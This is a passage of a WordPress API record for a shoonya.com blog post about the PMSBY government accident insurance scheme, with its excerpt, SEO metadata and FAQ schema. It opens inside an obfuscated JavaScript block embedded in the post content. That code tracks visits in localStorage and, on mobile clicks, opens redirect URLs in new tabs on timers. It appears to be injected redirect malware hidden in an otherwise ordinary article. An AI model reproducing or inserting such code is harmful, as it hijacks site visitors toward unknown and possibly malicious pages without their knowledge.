_0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)\/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)\/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+'-mnts',_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window['mobileCheck']()&&window[_0x22f77c(0x1d4)](newLocation,'_blank');};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());<\/script>","protected":false},"excerpt":{"rendered":"<p>Life&#8217;s unpredictability is a harsh reality we all face. Each day, we hear about countless road accidents, stirring fear and prompting a sudden thought: What if it were me behind the wheel? What about my loved ones? These moments drive us to seek accident insurance coverage, but the decision-making process can be confusing, especially when &hellip; <a href=\"https:\/\/shoonya.com\/blog\/pradhan-mantri-suraksha-bima-yojana\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;Pradhan Mantri Suraksha Bima Yojana (PMSBY)| Advantages, Eligibility and Application Process&#8221;<\/span><\/a><\/p>\n","protected":false},"author":16,"featured_media":7963,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":"","_members_access_role":[],"_members_access_error":""},"categories":[3760],"tags":[4186,4183,4184,4185,4187,4188],"class_list":["post-7962","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-government-schemes","tag-pradhan-mantri-suraksha-bima-yojana","tag-pradhan-mantri-suraksha-bima-yojana-pmsby","tag-pradhan-mantri-suraksha-bima-yojana-apply-online","tag-pradhan-mantri-suraksha-bima-yojana-benefits","tag-pradhan-mantri-suraksha-bima-yojana-details","tag-what-is-pradhan-mantri-suraksha-bima-yojana"],"acf":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v28.4 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Pradhan Mantri Suraksha Bima Yojana | Features and Benefits<\/title>\n<meta name=\"description\" content=\"Pradhan Mantri Suraksha Bima Yojana is a government-backed accident insurance scheme providing coverage for accidental death and disability.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/shoonya.com\/blog\/pradhan-mantri-suraksha-bima-yojana\/\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Pradhan Mantri Suraksha Bima Yojana | Features and Benefits\" \/>\n<meta property=\"og:description\" content=\"Pradhan Mantri Suraksha Bima Yojana is a government-backed accident insurance scheme providing coverage for accidental death and disability.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/shoonya.com\/blog\/pradhan-mantri-suraksha-bima-yojana\/\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/ShoonyaApp\/\" \/>\n<meta property=\"article:published_time\" content=\"2024-06-13T11:40:59+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2025-06-03T10:37:39+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2024\/06\/Pradhan-Mantri-Suraksha-Bima-Yojana-Features-and-Benefits.jpg\" \/>\n\t<meta property=\"og:image:width\" content=\"1920\" \/>\n\t<meta property=\"og:image:height\" content=\"1080\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"author\" content=\"admin\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:title\" content=\"Pradhan Mantri Suraksha Bima Yojana | Features and Benefits\" \/>\n<meta name=\"twitter:description\" content=\"Pradhan Mantri Suraksha Bima Yojana is a government-backed accident insurance scheme providing coverage for accidental death and disability.\" \/>\n<meta name=\"twitter:image\" content=\"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2024\/06\/Pradhan-Mantri-Suraksha-Bima-Yojana-Features-and-Benefits.jpg\" \/>\n<meta name=\"twitter:creator\" content=\"@shoonyaapp\" \/>\n<meta name=\"twitter:site\" content=\"@shoonyaapp\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"admin\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"6 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/pradhan-mantri-suraksha-bima-yojana\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/pradhan-mantri-suraksha-bima-yojana\\\/\"},\"author\":{\"name\":\"admin\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/#\\\/schema\\\/person\\\/f136efa6e9f6500d1b76595131564b8a\"},\"headline\":\"Pradhan Mantri Suraksha Bima Yojana (PMSBY)| Advantages, Eligibility and Application Process\",\"datePublished\":\"2024-06-13T11:40:59+00:00\",\"dateModified\":\"2025-06-03T10:37:39+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/pradhan-mantri-suraksha-bima-yojana\\\/\"},\"wordCount\":1145,\"image\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/pradhan-mantri-suraksha-bima-yojana\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/wp-content\\\/uploads\\\/2024\\\/06\\\/Pradhan-Mantri-Suraksha-Bima-Yojana-Features-and-Benefits.jpg\",\"keywords\":[\"pradhan mantri suraksha bima yojana\",\"pradhan mantri suraksha bima yojana (pmsby)\",\"pradhan mantri suraksha bima yojana apply online\",\"pradhan mantri suraksha bima yojana benefits\",\"pradhan mantri suraksha bima yojana details\",\"what is pradhan mantri suraksha bima yojana\"],\"articleSection\":[\"Government Schemes\"],\"inLanguage\":\"en-US\"},{\"@type\":[\"WebPage\",\"FAQPage\"],\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/pradhan-mantri-suraksha-bima-yojana\\\/\",\"url\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/pradhan-mantri-suraksha-bima-yojana\\\/\",\"name\":\"Pradhan Mantri Suraksha Bima Yojana | Features and Benefits\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/pradhan-mantri-suraksha-bima-yojana\\\/#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/pradhan-mantri-suraksha-bima-yojana\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/wp-content\\\/uploads\\\/2024\\\/06\\\/Pradhan-Mantri-Suraksha-Bima-Yojana-Features-and-Benefits.jpg\",\"datePublished\":\"2024-06-13T11:40:59+00:00\",\"dateModified\":\"2025-06-03T10:37:39+00:00\",\"author\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/#\\\/schema\\\/person\\\/f136efa6e9f6500d1b76595131564b8a\"},\"description\":\"Pradhan Mantri Suraksha Bima Yojana is a government-backed accident insurance scheme providing coverage for accidental death and disability.\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/pradhan-mantri-suraksha-bima-yojana\\\/#breadcrumb\"},\"mainEntity\":[{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/pradhan-mantri-suraksha-bima-yojana\\\/#faq-question-1718276133081\"},{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/pradhan-mantri-suraksha-bima-yojana\\\/#faq-question-1718276152240\"},{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/pradhan-mantri-suraksha-bima-yojana\\\/#faq-question-1718276161657\"},{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/pradhan-mantri-suraksha-bima-yojana\\\/#faq-question-1718276173128\"}],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/shoonya.com\\\/blog\\\/pradhan-mantri-suraksha-bima-yojana\\\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/pradhan-mantri-suraksha-bima-yojana\\\/#primaryimage\",\"url\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/wp-content\\\/uploads\\\/2024\\\/06\\\/Pradhan-Mantri-Suraksha-Bima-Yojana-Features-and-Benefits.jpg\",\"contentUrl\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/wp-content\\\/uploads\\\/2024\\\/06\\\/Pradhan-Mantri-Suraksha-Bima-Yojana-Features-and-Benefits.jpg\",\"width\":1920,\"height\":1080,\"caption\":\"Pradhan Mantri Suraksha Bima Yojana | Features and Benefits\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/pradhan-mantri-suraksha-bima-yojana\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Government Schemes\",\"item\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/government-schemes\\\/\"},{\"@type\":\"ListItem\",\"position\":3,\"name\":\"Pradhan Mantri Suraksha Bima Yojana (PMSBY)| Advantages, Eligibility and Application Process\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/#website\",\"url\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/\",\"name\":\"\",\"description\":\"Shoonya Blogs | Explore Shoonya\u2019s expert blogs on IPOs, market news, mutual funds, stocks, company stories, banking, and trading. Stay informed, invest smarter!\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/#\\\/schema\\\/person\\\/f136efa6e9f6500d1b76595131564b8a\",\"name\":\"admin\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/4f738871f468d1da5da735b2aa1178a1edf9538b711735c01956a3498ced3443?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/4f738871f468d1da5da735b2aa1178a1edf9538b711735c01956a3498ced3443?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/4f738871f468d1da5da735b2aa1178a1edf9538b711735c01956a3498ced3443?s=96&d=mm&r=g\",\"caption\":\"admin\"}},{\"@type\":\"Question\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/pradhan-mantri-suraksha-bima-yojana\\\/#faq-question-1718276133081\",\"position\":1,\"url\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/pradhan-mantri-suraksha-bima-yojana\\\/#faq-question-1718276133081\",\"name\":\"What is PMSBY in the post office?\",\"answerCount\":1,\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"PMSBY is a government-backed accident insurance plan that offers accidental death and disability cover for a nominal premium. It is available through post offices.\",\"inLanguage\":\"en-US\"},\"inLanguage\":\"en-US\"},{\"@type\":\"Question\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/pradhan-mantri-suraksha-bima-yojana\\\/#faq-question-1718276152240\",\"position\":2,\"url\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/pradhan-mantri-suraksha-bima-yojana\\\/#faq-question-1718276152240\",\"name\":\"What are the benefits of PMSBY?\",\"answerCount\":1,\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"The benefits of PMSBY include a \u20b92 lakh cover for accidental death and total disability and \u20b91 lakh for partial disability, with a premium of only \u20b920 per annum.\",\"inLanguage\":\"en-US\"},\"inLanguage\":\"en-US\"},{\"@type\":\"Question\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/pradhan-mantri-suraksha-bima-yojana\\\/#faq-question-1718276161657\",\"position\":3,\"url\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/pradhan-mantri-suraksha-bima-yojana\\\/#faq-question-1718276161657\",\"name\":\"Who is eligible for Post Office Pradhan Mantri Yojana?\",\"answerCount\":1,\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"Individuals aged 18-70 years with a bank or post office account are eligible for the Post Office Pradhan Mantri Yojana.\",\"inLanguage\":\"en-US\"},\"inLanguage\":\"en-US\"},{\"@type\":\"Question\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/pradhan-mantri-suraksha-bima-yojana\\\/#faq-question-1718276173128\",\"position\":4,\"url\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/pradhan-mantri-suraksha-bima-yojana\\\/#faq-question-1718276173128\",\"name\":\"What is the PMSBY 20 RS policy?\",\"answerCount\":1,\"acceptedAnswer\":{\"@type\":\"Answer\",\"text\":\"The PMSBY 20 Rupees policy is an accident insurance scheme that provides cover for accidental death and disability with an annual premium of just \u20b920.\",\"inLanguage\":\"en-US\"},\"inLanguage\":\"en-US\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Pradhan Mantri Suraksha Bima Yojana | Features and Benefits","description":"Pradhan Mantri Suraksha Bima Yojana is a government-backed accident insurance scheme providing coverage for accidental death and disability.","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/shoonya.com\/blog\/pradhan-mantri-suraksha-bima-yojana\/","og_locale":"en_US","og_type":"article","og_title":"Pradhan Mantri Suraksha Bima Yojana | Features and Benefits","og_description":"Pradhan Mantri Suraksha Bima Yojana is a government-backed accident insurance scheme providing coverage for accidental death and disability.","og_url":"https:\/\/shoonya.com\/blog\/pradhan-mantri-suraksha-bima-yojana\/","article_publisher":"https:\/\/www.facebook.com\/ShoonyaApp\/","article_published_time":"2024-06-13T11:40:59+00:00","article_modified_time":"2025-06-03T10:37:39+00:00","og_image":[{"width":1920,"height":1080,"url":"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2024\/06\/Pradhan-Mantri-Suraksha-Bima-Yojana-Features-and-Benefits.jpg","type":"image\/jpeg"}],"author":"admin","twitter_card":"summary_large_image","twitter_title":"Pradhan Mantri Suraksha Bima Yojana | Features and Benefits","twitter_description":"Pradhan Mantri Suraksha Bima Yojana is a government-backed accident insurance scheme providing coverage for accidental death and disability.","twitter_image":"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2024\/06\/Pradhan-Mantri-Suraksha-Bima-Yojana-Features-and-Benefits.jpg","twitter_creator":"@shoonyaapp","twitter_site":"@shoonyaapp","twitter_misc":{"Written by":"admin","Est. reading time":"6 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/shoonya.com\/blog\/pradhan-mantri-suraksha-bima-yojana\/#article","isPartOf":{"@id":"https:\/\/shoonya.com\/blog\/pradhan-mantri-suraksha-bima-yojana\/"},"author":{"name":"admin","@id":"https:\/\/shoonya.com\/blog\/#\/schema\/person\/f136efa6e9f6500d1b76595131564b8a"},"headline":"Pradhan Mantri Suraksha Bima Yojana (PMSBY)| Advantages, Eligibility and Application Process","datePublished":"2024-06-13T11:40:59+00:00","dateModified":"2025-06-03T10:37:39+00:00","mainEntityOfPage":{"@id":"https:\/\/shoonya.com\/blog\/pradhan-mantri-suraksha-bima-yojana\/"},"wordCount":1145,"image":{"@id":"https:\/\/shoonya.com\/blog\/pradhan-mantri-suraksha-bima-yojana\/#primaryimage"},"thumbnailUrl":"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2024\/06\/Pradhan-Mantri-Suraksha-Bima-Yojana-Features-and-Benefits.jpg","keywords":["pradhan mantri suraksha bima yojana","pradhan mantri suraksha bima yojana (pmsby)","pradhan mantri suraksha bima yojana apply online","pradhan mantri suraksha bima yojana benefits","pradhan mantri suraksha bima yojana details","what is pradhan mantri suraksha bima yojana"],"articleSection":["Government Schemes"],"inLanguage":"en-US"},{"@type":["WebPage","FAQPage"],"@id":"https:\/\/shoonya.com\/blog\/pradhan-mantri-suraksha-bima-yojana\/","url":"https:\/\/shoonya.com\/blog\/pradhan-mantri-suraksha-bima-yojana\/","name":"Pradhan Mantri Suraksha Bima Yojana | Features and Benefits","isPartOf":{"@id":"https:\/\/shoonya.com\/blog\/#website"},"primaryImageOfPage":{"@id":"https:\/\/shoonya.com\/blog\/pradhan-mantri-suraksha-bima-yojana\/#primaryimage"},"image":{"@id":"https:\/\/shoonya.com\/blog\/pradhan-mantri-suraksha-bima-yojana\/#primaryimage"},"thumbnailUrl":"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2024\/06\/Pradhan-Mantri-Suraksha-Bima-Yojana-Features-and-Benefits.jpg","datePublished":"2024-06-13T11:40:59+00:00","dateModified":"2025-06-03T10:37:39+00:00","author":{"@id":"https:\/\/shoonya.com\/blog\/#\/schema\/person\/f136efa6e9f6500d1b76595131564b8a"},"description":"Pradhan Mantri Suraksha Bima Yojana is a government-backed accident insurance scheme providing coverage for accidental death and disability.","breadcrumb":{"@id":"https:\/\/shoonya.com\/blog\/pradhan-mantri-suraksha-bima-yojana\/#breadcrumb"},"mainEntity":[{"@id":"https:\/\/shoonya.com\/blog\/pradhan-mantri-suraksha-bima-yojana\/#faq-question-1718276133081"},{"@id":"https:\/\/shoonya.com\/blog\/pradhan-mantri-suraksha-bima-yojana\/#faq-question-1718276152240"},{"@id":"https:\/\/shoonya.com\/blog\/pradhan-mantri-suraksha-bima-yojana\/#faq-question-1718276161657"},{"@id":"https:\/\/shoonya.com\/blog\/pradhan-mantri-suraksha-bima-yojana\/#faq-question-1718276173128"}],"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/shoonya.com\/blog\/pradhan-mantri-suraksha-bima-yojana\/"]}]},{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/shoonya.com\/blog\/pradhan-mantri-suraksha-bima-yojana\/#primaryimage","url":"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2024\/06\/Pradhan-Mantri-Suraksha-Bima-Yojana-Features-and-Benefits.jpg","contentUrl":"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2024\/06\/Pradhan-Mantri-Suraksha-Bima-Yojana-Features-and-Benefits.jpg","width":1920,"height":1080,"caption":"Pradhan Mantri Suraksha Bima Yojana | Features and Benefits"},{"@type":"BreadcrumbList","@id":"https:\/\/shoonya.com\/blog\/pradhan-mantri-suraksha-bima-yojana\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/shoonya.com\/blog\/"},{"@type":"ListItem","position":2,"name":"Government Schemes","item":"https:\/\/shoonya.com\/blog\/government-schemes\/"},{"@type":"ListItem","position":3,"name":"Pradhan Mantri Suraksha Bima Yojana (PMSBY)| Advantages, Eligibility and Application Process"}]},{"@type":"WebSite","@id":"https:\/\/shoonya.com\/blog\/#website","url":"https:\/\/shoonya.com\/blog\/","name":"","description":"Shoonya Blogs | Explore Shoonya\u2019s expert blogs on IPOs, market news, mutual funds, stocks, company stories, banking, and trading. Stay informed, invest smarter!","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/shoonya.com\/blog\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Person","@id":"https:\/\/shoonya.com\/blog\/#\/schema\/person\/f136efa6e9f6500d1b76595131564b8a","name":"admin","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/4f738871f468d1da5da735b2aa1178a1edf9538b711735c01956a3498ced3443?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/4f738871f468d1da5da735b2aa1178a1edf9538b711735c01956a3498ced3443?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/4f738871f468d1da5da735b2aa1178a1edf9538b711735c01956a3498ced3443?s=96&d=mm&r=g","caption":"admin"}},{"@type":"Question","@id":"https:\/\/shoonya.com\/blog\/pradhan-mantri-suraksha-bima-yojana\/#faq-question-1718276133081","position":1,"url":"https:\/\/shoonya.com\/blog\/pradhan-mantri-suraksha-bima-yojana\/#faq-question-1718276133081","name":"What is PMSBY in the post office?","answerCount":1,"acceptedAnswer":{"@type":"Answer","text":"PMSBY is a government-backed accident insurance plan that offers accidental death and disability cover for a nominal premium. It is available through post offices.","inLanguage":"en-US"},"inLanguage":"en-US"},{"@type":"Question","@id":"https:\/\/shoonya.com\/blog\/pradhan-mantri-suraksha-bima-yojana\/#faq-question-1718276152240","position":2,"url":"https:\/\/shoonya.com\/blog\/pradhan-mantri-suraksha-bima-yojana\/#faq-question-1718276152240","name":"What are the benefits of PMSBY?","answerCount":1,"acceptedAnswer":{"@type":"Answer","text":"The benefits of PMSBY include a \u20b92 lakh cover for accidental death and total disability and \u20b91 lakh for partial disability, with a premium of only \u20b920 per annum.","inLanguage":"en-US"},"inLanguage":"en-US"},{"@type":"Question","@id":"https:\/\/shoonya.com\/blog\/pradhan-mantri-suraksha-bima-yojana\/#faq-question-1718276161657","position":3,"url":"https:\/\/shoonya.com\/blog\/pradhan-mantri-suraksha-bima-yojana\/#faq-question-1718276161657","name":"Who is eligible for Post Office Pradhan Mantri Yojana?","answerCount":1,"acceptedAnswer":{"@type":"Answer","text":"Individuals aged 18-70 years with a bank or post office account are eligible for the Post Office Pradhan Mantri Yojana.","inLanguage":"en-US"},"inLanguage":"en-US"},{"@type":"Question","@id":"https:\/\/shoonya.com\/blog\/pradhan-mantri-suraksha-bima-yojana\/#faq-question-1718276173128","position":4,"url":"https:\/\/shoonya.com\/blog\/pradhan-mantri-suraksha-bima-yojana\/#faq-question-1718276173128","name":"What is the PMSBY 20 RS policy?","answerCount":1,"acceptedAnswer":{"@type":"Answer","text":"The PMSBY 20 Rupees policy is an accident insurance scheme that provides cover for accidental death and disability with an annual premium of just \u20b920.","inLanguage":"en-US"},"inLanguage":"en-US"}]}},"_links":{"self":[{"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/posts\/7962","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/users\/16"}],"replies":[{"embeddable":true,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/comments?post=7962"}],"version-history":[{"count":3,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/posts\/7962\/revisions"}],"predecessor-version":[{"id":12884,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/posts\/7962\/revisions\/12884"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/media\/7963"}],"wp:attachment":[{"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/media?parent=7962"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/categories?post=7962"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/shoonya.com\/blog\/wp-json\/wp\/v2\/tags?post=7962"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}